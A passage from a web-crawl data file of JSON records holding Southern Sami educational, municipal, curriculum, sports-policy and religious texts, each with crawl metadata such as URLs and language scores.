ordforråd.\nGïeleldh Teestese 1 lea aelhkies screeninge- goerehtimmie gusnie smaave dajvesne maanan biejjieladtje baakoevåarhkosne vååksje.\nGielalaš guorahallan 1 lea skrinengeahččaleapmi mas guorahallo oasáš máná aktiivvalaš sátnevuorkkás.\nVeilederen handler om tidlig skriftspråkstimulering for barn som skal lære punktskrift senere i livet. Målet er at den kan inspirere til å sette i gang med forberedende punktskriftaktiviteter slik at punktskrift får en naturlig plass i barnets liv.\nLæremiddelet Til ungdommen – for livsmestring tar utgangspunkt i litteratur for å spore til samtale og refleksjon rundt det å være ungdom.\n-gjenfortalt på norsk tegnspråk\nEventyret om pannekaka kan være ren underholdning for store og små, men egner seg også i pedagogiske sammenhenger. Dette læremiddelet er til fagene norsk tegnspråk; 1.- 4. trinn, og matematikk 1.- 2. trinn.\nViser 1–20 av 900 treff.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/statped.no\/laringsressurser\/sok-resultatside\/finn-laringsressurser\/?q=&s=p&p=1&n=7","date":"2023-02-05T04:54:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500215.91\/warc\/CC-MAIN-20230205032040-20230205062040-00752.warc.gz","language":"sma","language_score":0.80119133,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.8011913299560547, \"sme_Latn_score\": 0.19312892854213715}","num_words":286,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.042,"flagged_words_ratio":0.0,"lang_id_score":0.828,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nasjonaale unnebelåhkoegïelh aarhskuvlesne\nAarhskuvlesne edtja fïerhten maanan gïeleevtiedimmiem skreejredh jïh aarhskuvle edtja meatan årrodh guktie maanah jeatjah ietniegïeline enn sveerjengïele nuepiem åadtjoeh dovne sveerjen gïelem jïh sov ietniegïelem evtiedidh.\nLaaken mietie nasjonaale unnebelåhkoej jïh unnebelåhkoej gïeli bïjre edtja maanah mah unnebelåhkose judarh, romerh, saemieh, sveerjesåevmieladtjh jïh torneladtjh govlesuvvieh sjïere skreejrehtidh dej evtiedimmiem kulturelle identiteeteste jïh dej nasjonaale unnebelåhkoegïelesne. Dan vuekien mietie edtjieh aarhskuvlh meatan årrodh dah nasjonaale unnebelåhkoej gïelh jïh kultuvrh vaarjelidh jïh gorredidh.\nAarhskuvle edtja Lpfö-18:en mietie:\n· maanah dåarjodh dej gïeleevtiedimmesne dej nasjonaale unnebelåhkoegïelesne jïh evtiedimmiem skreejrehtidh dej kulturelle identiteetem\n· viehkiehtidh dah nasjonaale unnebelåhkoej gïelh jïh kultuvrh vaarjelidh jïh gorredidh\n· våaromem bïejedh maanaj goerkesh ovmessie gïeli jïh kultuvri åvteste, aaj dah nasjonaale unnebelåhkoej gïelh jïh kultuvrh.\nAarhskuvle dåarjoem vadta maanan ietniegïelem evtiedidh. Gellie nuepieh maanide vadta gaajhkh dej gïelh nuhtjedh fïerhten biejjien jïh skreejrehte dovne unnebelåhkoegïelem jïh sveerjengïelem nuhtjedh aarhskuvlen darjoeminie. Aarhskuvle edtja viehkine stååkedimmieh, laavlomh jïh soptsesh maanan unnebelåhkoegïelesne viehkiehtidh maanaj gïeleevtiedimmesne jïh kulturellen identiteetem evtiedidh.\nDïhte vihkeles datne goh åelie aarhskuvlebarkijidie beavna dov maana nasjonaale unnebelåhkose govlesåvva.\nHjälp oss förbättra webbplatsen!\nOm du inte hittar informationen du sökte efter, klicka på nej-knappen nedan och skicka oss ett meddelande om vad som saknas.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/skelleftea.se\/invanare\/startsida\/forskola-skola-och-utbildning\/forskola\/minoritetssprak-i-forskolan\/sydsamiska---nationella-minoritetssprak-i-forskolan","date":"2023-01-30T17:08:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499826.71\/warc\/CC-MAIN-20230130165437-20230130195437-00668.warc.gz","language":"sma","language_score":1.0000014305,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000014305114746}","num_words":195,"character_repetition_ratio":0.131,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.097,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maam datne daan almetjen bïjre daajrah jïh man bïjre sïjhth vielie daejredh? Dagke maahtah ïedtjije bïevnesh nedtesne gaavnedh jallh maahtah naakenem gihtjedh maam damth? Mij maahta ïedtjije årrodh almetjen bïjre soptsestidh?\nÅvtelen edtjh naakenem gihtjehtidh tjoerh ryöjredidh. Ulmie lea hijven gyhtjelassh gihtjedh.\nRyöjredimmie\nMaam aarebistie daajrah? Mïsse onterdh?\nTjaelieh 10 minudth\ngaajhkem maam almetjen bïjre daajrah maam edtjh gihtjehtidh\ngaajhkem maam almetjen bïjre onterdh\nJis gellie joekehts gaaltijh gaavnh, dellie jïjnjh bïevnesh åadtjoeh dan bïjre maam edtjh gihtjehtidh:\nMej darjomigujmie dov gihtjelgæjja astoe-aejkien gïehtele?\nMan gellie åerpenh gihtjelgæjjan?\nMaam gihtjelgæjja skuvlen bïjre tuhtjie?\nMagkeres musihkem gihtjelgæjja lyjhkoe goltelidh?\nMen mujhtieh ulmie portrehte-gihtjehtimmine lea noereme guvviem dehtie almetjistie darjodh maam edtjh gihtjehtidh. Juktie portrehtem gihtjelgæjjeste darjodh datne byörh aaj gyhtjelassh gihtjedh goh:\nGihtjelgæjjan naan hijven\/nåake voeth?\nMij typiske gihtjelgæjja?\nMij ellen vihkielommes gihtjelgæjjan jieliedisnie?\nMestie gihtjelgæjja eadtjaldåvva?\nNB! Mujhtieh mujhtedh!\nIj leah naan måane ryöjredidh jis gaajhkem åajeldh maam almetje dutnjien soptseste. Tjaelieh gaajhkem jallh vaeltieh tjoeje-baantedimmiem gaajhkeste maam gihtjelgæjja\/almetje jeahta, mobijle-tellefovnine.\nGoerehth Gaskeviermesne\nNuhtjh 15 minudth gusnie pryövh dan jïjnjem gaavnedh gihtjelgæjjan bïjre viehkine Gaskeviermiem nuhtjedh.\nMaahtah\nsosijaale medijh gïehtjedh goh Instagram, Facebook jnv ...\ngihtjelgæjjan nommem ohtsedh ohtseme-motovrisnie\nvielie gihtjelgæjjan ïedtji bïjre gaavnedh jallh gubpede gihtjelgæjja båata\nMinngemes gaajhkem tjaalah maam gihtjelgæjjan bïjre gaavneme.\nMujhtieh!\nJis bïevnesh gihtjelgæjjan bïjre åadtjoeh jallh gaavnh mah eah leah dan hijven, jallh mah leah privaate, tjoerh våårege årrodh. Seamedh gihtjelgæjjine mij edtja meatan årrodh, jïh gihtjh dov lohkehtæjjam raerien bïjre.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:2:8b8e1139-e745-4a35-ac43-c408d90b6467\/resource:2d9dbdee-85ec-4d0f-8eb9-d572dd75a15f","date":"2023-03-26T14:53:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945473.69\/warc\/CC-MAIN-20230326142035-20230326172035-00283.warc.gz","language":"sma","language_score":0.9999661446,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999661445617676}","num_words":234,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Meninger Dette er et debattinnlegg. Innlegget gir uttrykk for skribentens holdninger.\nGuhkebe prosesse jåhteme laavenjostoem Sámi Valáštallan Lihttun (SVL) jïh Saemiedigkien gaskem nænnoestidh. Vihkele hijven laavenjostojne jïh mijjieh ektievoetesne barkebe saemien gaarsjelimmiem nænnoestidh. Dan åvteste stoerre vaajnojne jïh gearjojne manne gïetedæmman stoerretjåanghkosne aavodem, jïh vuelietjaeliemasse gaarsjelimmielatjkoste SVL:en jïh Saemiedigkien gaskem goeven.\nSaemiedigkieraerie lea madtjele dellie maaje latjkoerååresjimmie tseegkesovveme Sámi Valáštallan Lihttun jïh Saemiedigkien gaskem. Gaarsjelimmielatjkoen tjïrrh SVL sæjhta nuepiem åadtjodh daerpiesvoetide tjïertestidh jïh ektie råajvarimmiej bïjre seamadidh. Daate aaj Biejjienaalkoe-bæjkoehtimmien mietie gusnie sïjhtebe saemien gaarsjelimmielatjkoem tseegkedh, jïh dan tjïrrh saemien gaarsjelimmiem nænnoestidh.\nSaemiedigkieraerie gelliesåarhts gaarsjelimmiedarjomh sæjhta jïh jeenjesh leah meatan dovne dennie vijries gaarsjelimmesne, jïh gaarsjelimmesne bijjemes njieptjesne. FA Sápmi lea tsåatskelesvoetem åådtjeme daan jaepien, gosse dovne FA Sápmin nïejte- jïh baernietjierte daanjaapetje Piteå Summer Games-gaahtjemisnie vitnin, jïh FA Sápmin nyjsenetjierte vitni dennie ellen voestes Conifa VM:sne juelkietjengkierisnie nyjsenæjjide. Daej biejjiej ryöjredeminie gaahtjemasse Wood Buffalo Arctic Winter Games, gusnie saemien noerh edtjieh dovne tjoejkemisnie jïh futsalesne gaahtjedh tsïengelen minngiegietjesne 2023. Mijjieh aaj gegkiestibie Nöörjenmïestereskaape vuejemeråantjagaahtjemisnie maahta vihth öörnesovvedh daan daelvien.\nKoronapandemije lea gaarsjelimmiem baajnehtamme jïh haestemh vadteme dovne öörnemidie jïh dejtie mah edtjieh meatan årrodh gaahtjedh laanteraasti rastah. Joekoen daerpies jienebh skreejrehtidh meatan årrodh, dovne desnie gusnie saemien gaarsjelimmie nænnoes tsåeptsiem åtna daan biejjien, men aaj viehkine årrodh skreejrehtidh guktie jienebh meatan åarjel- jïh julevsaemien dajveste. Seamma tïjjen vihkele sjïehteladtedh saemien gaarsjelimmiesuerkieh evtiedidh jïh jealajehtedh.\nJuktie saemien gaarsjelimmie lea vihkele gellielaakan. Mijjieh aejlies jïh hijven gaarsjelimmiedarjomh daarpesjibie dovne dan fysiske evtiedimmien gaavhtan, men aaj psykiske jïh mentaale. Gaarsjelimmesne ektiedimmiem jïh ektievoetem sjugnede. Gosse meatan gaahtjeminie jïh gaarsjelimmieöörneminie dellie gåarede hijven vïenevoetebaanth tseegkedh abpe Saepmesne, laanteraasti rastah jïh jeatjah aalkoeåålmegidie. Jeenjesidie gaarsjelimmieaavoe dïhte rïektes aavoe jïh naakede mïsse stoerre aarvoem beaja. Im leah jueriedisnie gosse maana jïh noerh åadtjoeh meatan årrodh saemien gaarsjelimmesne, dellie dïhte viehkine sjædta dej identiteetem tseegkedh jïh nænnoestidh.\nGaatesjen gellie saemieh saemielaavsemem dååjroeh gaarsjelimmesne. Gaarsjelimmesne ij edtjh laavsemem dååjredh, jïh ibie edtjh saaht guktie jååhkesjidh naakenh rasistiske baakoeh sijjen minngesne åadtjoeh, jalhts eadtjohkelaakan gaahtjeminie. Dan åvteste reaktoe jïh vihkele daate aaj vihkeles suerkie man bïjre libie sïemes laavenjostedh.\nSaemiedigkieraerie sæjhta jåerhkedh tjoevkesem bïejedh dejtie daerpiesvoetide saemien gaarsjelimmie åtna reerenassine, jïh barkedh jienebh vierhtieh jïh råajvarimmieh åadtjodh saemien gaarsjelæmman. Sïjhtebe aaj Kultuvre- jïh mïrrestallemedepartemeenten vööste barkedh dejnie aajkojne gamtebe definisjovnen bïjre saemien gaarsjelimmeste seamadidh, jïh dan tjïrrh jeatjah gaarsjelimmiesuerkieh meatan vaeltedh goh råantjoevuejemegaahtjeme jïh åadtjestimmie, jïh seamma tïjjen tjoevkesem bïejedh gïele- jïh identiteeteperspektijvide saemien gaarsjelimmesne.\nSïjhtebe aaj daam lutnjedh Saemien parlamentarihkeles raeresne )SPR) edtja dam abpesaemien laavenjostoem lissiehtidh, hijven mierieeaktoeh hoksedh jïh viehkine årrodh saemien gaarsjelimmiem buerebelaakan öörnedh. Lissine sæjhta nuhteligs årrodh saemien gaarsjelimmiem våajnoes darjodh jïh darjoemidie lissiehtidh laavenjostoelatjkoej tjïrrh mejgujmie Saemiedigkie sjyöhtehke aktöörigujmie åtna.\nMijjieh raaktan aktem sïllem guhkiebasse båateme barkosne saemien gaarsjelimmiem nænnoestidh daan gaarsjelimmielatjkoen tjïrrh. Men ij sïjhth jiehtedh barkoe daesnie orreje, buerebh mubpelen. Manne dan åvteste aavodem latjkoem vuelietjaeledh jïh laavenjostose SVL:ine dej ektie barkoesuerkiej bïjre mejtie mijjieh vïenhtebe vihkele.\nManne aaj aavodem aamhtesem lutnjedh Saemiedigkien stoerretjåanghkose jïh håhkesjem hijven digkiedimmie sjædta","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.tronderdebatt.no\/histovrijes-gaarsjelimmielatjkoe-s-mi-val-tallan-lihttun-j-h-saemiedigkien-gaskem\/o\/5-122-58139","date":"2023-04-02T05:10:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296950383.8\/warc\/CC-MAIN-20230402043600-20230402073600-00403.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":488,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.15,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vitnedimmie (KRO01‑05)\nFaagen relevaanse jïh vihkeles aarvoeh\nVitnedimmie lea vihkeles faage juktie svihtjeme-aavoem mij abpe jieledem ryöhkoe jïh fysiske eadtjohke jieledevuakan jïjtsh nuepiej mietie. Faage edtja viehkiehtidh guktie learohkh lierieh, daajide nuhtjieh, dååjroeh ih sjugniedieh kråahpine. Svihtjemedarjomi jïh eatnemefealadimmien tjïrrh jeatjajgujmie vitnedimmie laavenjostoem, goerkesem jïh ååktemem sinsætnan eevtjie. Faage edtja viehkiehtidh guktie learohkh maahtoem evtiedieh saavremen, jieledevuekien jïh healsoen bïjre jïh dååjrehtieh maam jïjtsh darjoeh lea vihkele juktie ulmide jaksedh. Maam learohkh jïjtsh darjoeh lea dan åvteste akte bielie maahtoste vitnedimmesne. Faage edtja learoehkidie skreejrehtidh fysiske eadtjohke årrodh jïh jieledevuekiem utnedh mij healsoem eevtjie mænngan skuvlem galhkeme jïh båetijen aejkien barkoejieliedisnie.\nGaajhkh faagh edtjieh viehkiehtidh lïerehtimmien aarvoevåaromem realiseeredh. Vitnedimmie edtja viehkiehtidh learoehkidie nuepiem vedtedh praktiseeredh jïh ussjedadtedh ektiespïelen, meatanårromen, mïrrestallemen jïh seammavyörtegsvoeten bijjeli. Vitnedimmiefaagesne learohkh edtjieh haestemh jïh laavenjassh loetedh aktene gellielaaketje lïeremeektievoetesne. Faage edtja aaj dej heartoeh haestedh jïjtsh raasth guhkiedidh. Stååkedimmie, ålkone årrodh, daanhtsoe, voejeme, gaarsjelimmiedarjomh jïh jeatjah svihtjemedarjomh leah akte bielie dehtie ektie hammoedimmeste jïh identiteetesjugniedimmeste seabradahkesne. Vitnedimmie aerpievuekien svihtjemedarjomh seabradahkesne gorrede, men aaj skreejrehte eksperimenteeredh jïh kreatijve årrodh jeatjah svihtjemehammoej bïjre. Vitnedimmie laejhtehks ussjedimmiem eevtjie kråahpe-idealen bïjre mij maahta jïjtjedomtesem, healsoem, saavremem jïh jieledevuekiem baajnehtidh. Darjomh ålkone jïh eatnamisnie mïnnedh våaromem vadta eatneme-aavose, ååktemasse eatnamasse jïh byjresevoerkesvoete.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.udir.no\/lk20\/kro01-05\/om-faget\/fagets-relevans-og-verdier?lang=sma","date":"2023-03-26T14:44:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945473.69\/warc\/CC-MAIN-20230326142035-20230326172035-00619.warc.gz","language":"sma","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000085830688477}","num_words":201,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Musihke saemien (MUS02‑02)\nVihkeles tjiehpiesvoeth\nNjaalmeldh tjiehpiesvoeth\nNjaalmeldh tjiehpiesvoeth musihkesne lea maehtedh gïelem jeereldihkie nuhtjedh joejkemisnie, laavloemisnie jïh jeatjah vokaale vuekine juktie improviseeredh, vaajestidh jïh musihkales aamhth buektedh. Njaalmeldh tjiehpiesvoeth leah aaj soptsestidh jïh digkiedidh jïjtse sjugniedihks prosessine, jïh maehtedh ussjedadtedh musihkales dååjrehtimmiej jïh dååjresi bijjeli. Evtiedimmie njaalmeldh tjiehpiesvoeteste musihkesne lea aelkedh aelhkie musihkem buektedh goske maahta geervebe musihkem buektedh jïh jïjtse dååjresi bïjre soptsestidh jïh aelhkie vierhkievierhtieh nuhtjedh goske maahta geervebe musihkefaageles teemah, estetihkeles dååjresh, musihkales vierhkievierhtieh jïh musihken funksjovnh veelebelaakan buerkiestidh.\nMaehtedh tjaeledh\nMaehtedh tjaeledh musihkesne lea joekehts såarhts analoge jïh digitaale notasjovnh åtnose vaeltedh mah dåarjoem vedtieh buektedh, darjodh jïh musihkem dååjredh, jïh dåarjoem vedtieh prosessh jïh illedahkh dokumenteeredh. Dan sisnie grafihkeles notasjovne, notah jïh besifringe. Evtiedimmie tjaelememaahtoste musihkesne aalka gosse aelhkie notasjovnevuekiejgujmie åahpene jïh dejtie nuhtjie, goske maahta ovmessie notasjovnevuekieh jïh tjaelemegïelh nuhtjedh juktie musihkales åssjalommesh goerehtidh, dokumenteeredh jïh buektedh.\nMaehtedh lohkedh\nMaehtedh lohkedh musihkesne lea ovmessie musihkales teeksth toelhkestidh jïh guarkedh, dovne musihkales væhtah, symbovlh jïh teeksth tjåanghkan bïejesovveme jienebi modaliteetigujmie, digitaalelaakan jïh åehpiedehtieminie scenesne. Evtiedimmie lohkememaahtoste musihkesne aalka gosse maahta damtijidh, soptsestalledh aelhkie væhtaj jïh symbovli bïjre jïh dejtie nuhtjedh juktie maehtedh ovmessie notasjovnevuekieh nuhtjedh musihkales ektiedahkosne, jïh maehtedh guarkedh jïh ussjedadtedh åtnoen bijjelen musihkeste jïh daanhtoste jïh vierhkievierhtijste, ahkedh geervebe vuekine.\nMaehtedh ryöknedh\nMaehtedh ryöknedidh musihkesne lea maehtedh musihken maadthbiehkieh guarkedh jïh nuhtjedh, goh pulse, taakte, jievkehtimmieh, tonajalloe, tekstuvre jïh hammoe. Lea goerehtidh jïh eksperimenteeredh möönsterigujmie jïh struktuvrigujmie, jïh ryöknedimmieh tïjjeste jïh rommeste musihkesne jïh daanhtsosne darjodh. Evtiedimmie ryöknememaahtoste musihkesne lea aelkedh aelhkie möönsterh jïh struktuvrh darjodh, buektedh jïh buerkiestidh, jïh aelhkie ryöknedimmieh darjodh tïjjeste jïh rommeste, akten gïengeleslåbpoe kråahpeles jïh kognitijve goerkesasse presisjovneste jïh kompleksiteeteste mah leah vïedteldihkie musihken maadthbiehkide, möönsteridie jïh struktuvride, tïjjese jïh rommese.\nDigitaale tjiehpiesvoeth\nDigitaale tjiehpiesvoeth musihkesne lea maehtedh musihketeknologijem nuhtjedh juktie musihkem buektedh, darjodh jïh dååjredh. Lea maehtedh digitaale dïrregh kreatijvelaakan nuhtjedh juktie baantedimmieh darjodh, tjoejem gïetedidh jïh manipuleeredh jïh programmeeremem nuhtjedh sjugniedihks barkosne. Digitaale tjiehpiesvoeth lea aaj digitaale vuarjasjimmiefaamoem nuhtjedh. Lea aaj aalkoereaktan njoelkedassh fulkedh jïjtse jïh mubpiej musihkesne jïh nedte-etihkem vuesiehtidh laavenjostosne mubpiejgujmie. Evtiedimmie digitaale tjiehpiesvoetijste musihkesne lea aelkedh aelhkie digitaale dïrregh nuhtjedh musihkales barkoeh hammoedidh, digitaale dïrregh jïh teknologijem strategeles jïh jeereldihkie nuhtjedh juktie maereles jïh kreatijve musihkales vuekieh åadtjodh. Lea aaj persovnevaarjelimmiem jïh nedte-etihkem vuesiehtidh sjïere tsiehkine jïh hijven vuarjasjimmiefaamoem vuesiehtidh jïh ektiedahkoem musihkales ektievoetine vuesiehtidh","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.udir.no\/lk20\/mus02-02\/om-faget\/grunnleggende-ferdigheter?lang=sma","date":"2023-03-23T11:13:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945144.17\/warc\/CC-MAIN-20230323100829-20230323130829-00171.warc.gz","language":"sma","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000004529953003}","num_words":383,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.196,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjöödtjestimmieluhpie svihtjeme-heaptojidie\nParkeringstillstånd för rörelsehindrad\nTjöödtjestimmieluhpie lea sjïere luhpie geajnosne tjöödtjestidh, byjres trafihkenjoelkedassijste, dejtie gieh eah maehtieh jallh lea dåeriesmoerh vaedtsedh. Tjöödtjestimmieluhpie ij ajve reaktam vadtah sjïere tjöödtjestimmiesijjide tjöödtjestidh, dïhte aaj guhkebem tjöödtjestimmietïjjem vadta jïh reakta tjöödtjestidh gusnie ij leah luhpie tjöödtjestidh. Daamtaj aaj ij daarpesjh åesiem maeksedh.\nBijlevuajajidie luhpie\nBijlevuajaje gien svihtjeme-heaptoje, stoerre dåeriesmoerh vaedtsedh jïh geerve bijlese bijleste svihtjedh vaadtsemegåhkoem tjöödtjemesijjeste maahta luhpiem åadtjodh.\nPassagerijidie luhpie\nPassagerijidie luhpiem ajve muvhth aejkien vadta, v.g. geerve svihtjeme-heaptomem jallh stuvremh, n.s.j. jis ij maehtieh ohtsijem oktegh assistansehts baetsedh mearan vuajije tjöödtjeste. Vuajaje, gie lea svihtjeme-heaptojh bijlesne åådtje njoelkedassij mietie trafihkenjoelkedassesne, åådtje tjöödtjestidh gusnie luhpehts tjöödtjestidh. Ajve dam åådtje darjodh jis sjïere jearsoes-laakan jïh jis dam krievie. Tjöödtjestimmie ij guhkiem goh daerpies bijlen sistie- jïh sijse svihtjedh jïh daarpoe assistansine bijlen ålkoelisnie.\nSojkesjem veedtjh\nSoejkesjem sveerjen gïelesne. Maahta dïsse dievhtedh, mohte eah dah bieleh maam dov dåaktere edtja dievhtedh.\nJeenjebh bïevnesh\nGunilla Jonsson, luhpieh geajnoeh jïh såafoesijjieh, telefovne 090-16 13 66.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.umea.se\/kommunochpolitik\/languages\/samiengiallije\/sosiaalenhoksehtimmieh\/tjoodtjestimmieluhpiesvihtjemeheaptojidie.4.333c64e217718860a231143.html","date":"2023-03-20T19:59:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943555.25\/warc\/CC-MAIN-20230320175948-20230320205948-00284.warc.gz","language":"sma","language_score":0.9998795986,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9998795986175537}","num_words":156,"character_repetition_ratio":0.106,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lïhke relasjovnine Jupmielinie\nMijjen aehtjie. Ibie Jupmielasse rohkelh goh ammes almetjh, mijjen lea Jupmelen vaajtelamme jïh gieries maanah gie lea mijjen elmien eejhtege. Jesus Jupmielinie soptseste vuekine mij vuesehte Jupmelen lea lïhke jïh almetjen jieledem damta buerebe enn mijjieh mijjiem damtebe. Seamma aejkien Jupmele aejlies jïh stuerebe gaajhkijste.\nRohkelasse jåarhka. Baajh dov nommem aejliestovvedh, dam mujhtieji. Mijjieh almetjh åadtjobe Jupmelem lïhkebe båetedh mij lea aejlies. Mohte guktie lea relasjovnine dellie tjoerebe mubpiem krööhkestidh guktie dïhte lea. Dan gaavhtan mijjieh rohkelibie Jupmelen nommem aejliestovvedh mijjese.\nBaajh dov rïjhkem båetedh. Dej baakoejgujmie mijjieh rohkelibie gaajhkem galka sjïdtedh guktie Jupmele sæjhta veartene maam sjugniedi galka årrodh. Jupmelen rïjhke galka båetedh. Jåerhkeme tjïelkeste guktie galka Jupmelen rïjhkesne årrodh. Jupmelen rïjhke dellie Jupmelen elmien væljoe aaj veartanisnie: Baajh dov syjhtedem sjïdtedh. Desnie almetjh gaajhkem utnieh maam mijjieh biejjeste beajjan daarpesjibie: Vedtieh mijjese daan biejjien mijjen fïerhten-beajjetje laejpiem.\nDesnie mijjieh jielebe luejhtemen relasjovnine: Luejhtieh mijjeste maam mijjieh meadteme guktie mijjieh luejhtebe destie guhth mijjese meadteme. Desnie ibie pryövesovvh jienebh enn mijjieh maehtebe darjodh jïh gusnie bahhasvoete Jupmelen buerievoeteste vitnesåvva: Aellieh luejhtieh mijjem gïehtjelimmiej sïjse, valla vaarjelh mijjem bahheste.\nJupmelen rïjhke joe gååvnese\nDïhte Jupmelen rïjhke maam mijjieh sïjhtebe gååvnese seamma tïjjesne goh realiteete mijjen gaskesne jïh goh båetije biejjiej tsiehkie mij ij ennje gååvnesh. Dan elliesvoetesne dïhte båata gosse Jesus lea bååstide båateme. Mohte joe daesnie jïh daelie Jupmelen rïjhke vååjnoe fïerhten aejkien gosse maam akt mejtie mijjieh rohkelibie Mijjen Aehtjie rohkelassesne saatnan sjædta.\nJuktie rïjhke lea dov, faamoe jïh earoe ihkuven aajkan. Rohkelassen galhkuve bååstide båata Jupmelen stoerrevoetese. Dïhte lea Jupmele mij lea Jupmele. Mijjieh almetjh libie almetjh. Aaj dan våaromen åssjele lea tsiehkesne mij lea Jupmelen rïjhkesne.\nKristeles soptsesinie guktie meadtemem sjïdti almetjen jïh Jupmelen gaske, dïhte maam gohtje sådtoedimmiem, almetjen væljoe jijhti Jupmelem sjïdtedh lea aalkoesådtoen hammosne. Jïjnjh destruktiviteeth veartanisnie maahta dïsse relateeredh. Gaajhkh goh faamoem mïedtelidh jïh almetjh eksploateeredh, mijjien aejkien nåhtoe eatnemen ekologijen vierhtijste, gïejh vedtieh guktie almetje såvma dan lea reakta mubpieh bielieh sjugniedimmeste dan nualan bïejedh. Jupmelen rïjhkesne öörnege rïekteslaakan viht. Faamoe jïh earoeh lea ihkuven aajkan Jupmelen luvnie.\nDïhte minngemes earoem jeenjemes daaletjen bijpelejarkoestimmine faatoes. Dïhte dan gaavhtan dïhte histovrijen mietie mænnan lissiehtamme. Mohte dïhte læjhkan tjarke sijjiem gærhkoen jieliedisnie åtna. Abpe dan veartenevijries gærhkoe dam meatan åtna Åejvien rohkelassesne.\nRohkelasse mijjiem hammode\nVihkeles åssjaldahke kristeles aerpievuekesne lea rohkelasse mijjen jaahkoem jïh dan gaavhtan aaj mijjiem hammode. Baakoejgujmie Mijjen Aehtjie rohkelidh, rohkelidh guktie Jesus mijjiem lïeri lea dan gaavhtan vihkele gærhkoen jieliedisnie. Fïerhte kristegassje dan jïjtje laavkoemisnie gåhtjomem åådtjeme goh Kristusen learohke haarjene dan plïeresne sjïdtedh.\nMartin Luther såårne kristeles almetje fïerhten biejjien tjuara dan laavkoemasse jårrelidh. Dïhte kristeles jielede fïerhten biejjien jeala. Ij maehtieh dejnie orrijidh.\nGosse dah voestes learohkh Jesusem birrieh dejtie lïeredh rohkelidh ij lij vajtelasse dejstie gïeh idtjin maehtieh rohkelidh. Rohkelidh lij iemie dennie kultuvresne gusnie dah jieliejin. Learohki gyhtjelassesne lij vajtelasse dej rohkelassesne sjïdtedidh – viehkiem åadtjodh goh Jesusen learohkh rohkelidh seammalaakan.\nDïhte sjïere hammoe man Mijjen Aehtjie åtna ij vuastelh guktie maahta jïjtjen rohkelassem Jupmielasse hammoedidh dej baakoejgujmie mah leah mov lïhkemes.\nIj gan naan tsælloe gååvnesh Jesusen haestemen \"Gosse rohkelidie galkede soptsestidh\" jïh dan baakohts rohkelassen gaskem mij Bijpele aejlies Voejkenen. Mohte dej sjïere rohkelassigujmie mah gærhkoe jaepielåhkoej mietie tradeereme mijjieh mierieh åadtjodh mestie stabiliteetem åadtjobe mijjen rohkelassese.\nDah tjaebpies baakoeh Mijjen aehtjie rohkelassesne muvhtene maehtieh gåarhmede damtedh dellie gaajhkh vaane rohkelæjjah daejrieh. Mohte mov vajtelasse ij leah dan \"baajh dov syjhtedem eatnamisnie sjïdtedh\" goh \"baajh mov syjhtedem eatnamisnie sjïdtedh\". Dellie maehtede dejtie tjïrkes baakoeh Mijjen aehtjie rohkelassesne viehkine årrodh. Maahta jåerhkedh baakoejgujmie jïh dellie Jesusen rohkelasse maahta mijjiem guedtedh.\nRohkelassese sjïdtedidh\nRohkelassen sïjse sjïdtedidh maam Jesus mijjiem lïeri lea dan bïjre maam Jesus sæjhta Jupmielasse jiehtedh lea maam mijjieh sïjhtebe Jupmielasse jiehtedh. Baakoeh Mijjen Aehtjie rohkelassesne darjodh goh mijjen baakoeh lea vuekie gosse Jesus mijjesne rohkele. Dan mietie 